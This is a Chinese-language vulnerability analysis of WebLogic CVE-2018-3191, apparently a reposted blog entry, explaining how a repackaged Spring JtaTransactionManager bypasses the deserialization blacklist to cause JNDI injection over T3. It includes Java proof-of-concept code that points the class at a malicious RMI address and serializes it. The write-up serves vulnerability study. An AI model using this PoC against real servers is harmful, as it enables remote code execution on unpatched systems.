weblogic之CVE-2018-3191漏洞分析


weblogic之CVE-2018-3191漏洞分析

理解這個漏洞首先需要看這篇文章:https://www.cnblogs.com/afanti/p/10193169.html
引用廖新喜說的,說白的就是反序列化時lookup中的參數可控,導致 JNDI注入

AbstractPlatformTransactionManager這個黑名單就是用於防止Spring JNDI注入,從官方以前的黑名單上就能看到org.springframework.transaction.support.AbstractPlatformTransactionManager,但是官方沒有想到在com.bea.core.repackaged的相關包還有spring的相關類。其實這兩個包中的類實現幾乎一樣,只是來源於不同的包。

看下利用過程:
生成poc.
Alt text
服務器開啟jndi服務,ExportObject.java惡意類就是彈個計算器
Alt text
通過T3協議發送數據包,服務器向jndi請求惡意類,反序列化導致RCE:
Alt text
跟一下漏洞過程:
來到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager類的initUserTransactionAndTransactionManager方法,this.userTransactionName屬性被賦值為惡意rmi地址,跟進164行:
Alt text
跟進lookup方法
Alt text
Alt text
最后看一下poc生成過程:
導入所用到的com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar包和com.bea.core.repackaged.apache.commons.logging_1.2.1.jar包,將UserTransactionName參數注入惡意類地址。

		String test;
        System.out.println("hahha");

        test = "rmi://192.168.20.112:2222/aa";
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(test);
        File f = new File("E:\\Struts2-Vulenv-master\\ysoserial\\src\\main\\java\\ysoserial\\obj.txt");
        ObjectOutputStream out1 = new ObjectOutputStream(new FileOutputStream(f));
        out1.writeObject(jtaTransactionManager);
        out1.flush();
        out1.close();

Alt text

參考鏈接:
https://paper.tuisec.win/detail/a312d98e0285e24
https://github.com/pyn3rd/CVE-2018-3191
https://paper.seebug.org/718/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM